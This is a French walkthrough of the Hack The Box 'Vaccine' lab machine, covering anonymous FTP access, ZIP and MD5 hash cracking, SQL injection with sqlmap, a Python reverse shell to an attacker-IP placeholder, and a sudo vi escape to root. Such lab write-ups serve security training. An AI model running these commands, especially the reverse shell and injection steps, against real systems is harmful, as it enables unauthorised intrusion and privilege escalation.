Vaccine
| OS | Difficulty | Target |
|---|---|---|
| Linux | VERY EASY | 10.129.x.x |
Résumé
Machine Linux avec un service FTP permettant l’accès anonyme. Un fichier ZIP protégé par mot de passe contient des credentials pour un dashboard web vulnérable à l’injection SQL. Exploitation via sqlmap pour obtenir un shell, puis escalade de privilèges via sudo sur vi.
Reconnaissance
Scan de ports
nmap -T4 <IP>PORT STATE SERVICE21/tcp open ftp22/tcp open ssh80/tcp open httpScan détaillé
nmap -A -p 21,22,80 <IP>| Port | Service | Version |
|---|---|---|
| 21 | FTP | vsftpd 3.0.3 (anonymous login) |
| 22 | SSH | OpenSSH 8.0p1 Ubuntu |
| 80 | HTTP | Apache 2.4.41 |
Enumération
FTP (21)
Connexion anonyme autorisée :
ftp Anonymous@<IP># Password: (vide)ftp> lsftp> get backup.zipftp> quitCracking du ZIP
Le fichier est protégé par mot de passe :
zip2john backup.zip > hash.txtjohn --wordlist=rockyou.txt hash.txtContenu du ZIP
unzip backup.zipFichiers extraits : index.php, style.css
Dans index.php, on trouve un hash MD5 pour l’utilisateur admin.
Cracking du hash MD5
hashcat -m 0 -a 0 <hash> rockyou.txtExploitation
Dashboard web
Connexion sur http://<IP>/dashboard.php avec les credentials trouvés.
Le paramètre search est vulnérable à l’injection SQL (PostgreSQL).
SQL Injection avec sqlmap
sqlmap -u "http://<IP>/dashboard.php?search=" --os-shell --cookie="PHPSESSID=<session>"Vulnérabilités détectées :
- Boolean-based blind
- Error-based
- Stacked queries
- Time-based blind
Shell obtenu en tant que postgres.
Reverse shell
Depuis l’os-shell sqlmap, utiliser un reverse shell Python :
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<ATTACKER_IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'Listener :
nc -lvn 4444Stabilisation du shell
python3 -c 'import pty; pty.spawn("/bin/bash")'export TERM=xtermexport SHELL=/bin/bash# Ctrl+Zstty raw -echo && fgEscalade de privilèges
Mot de passe postgres
Chercher dans les fichiers de configuration web (ex: dashboard.php).
Enumération sudo
sudo -lL’utilisateur postgres peut exécuter vi sur un fichier spécifique en tant que root.
Exploitation via vi (GTFOBins)
sudo /bin/vi /etc/postgresql/11/main/pg_hba.confDans vi :
:!/bin/bashRoot obtenu.
Flags
cat /var/lib/postgresql/user.txtcat /root/root.txtA retenir
- Toujours vérifier l’accès FTP anonyme
zip2john+johnpour cracker des ZIP protégés- Les fichiers de backup peuvent contenir des credentials en clair
- Chercher les mots de passe dans les fichiers de config web (
dashboard.php,config.php,.env) sudo -lest la première commande à exécuter pour le privesc- vi/vim avec sudo permet d’obtenir un shell root via
:!/bin/bash - Référence : GTFOBins - vi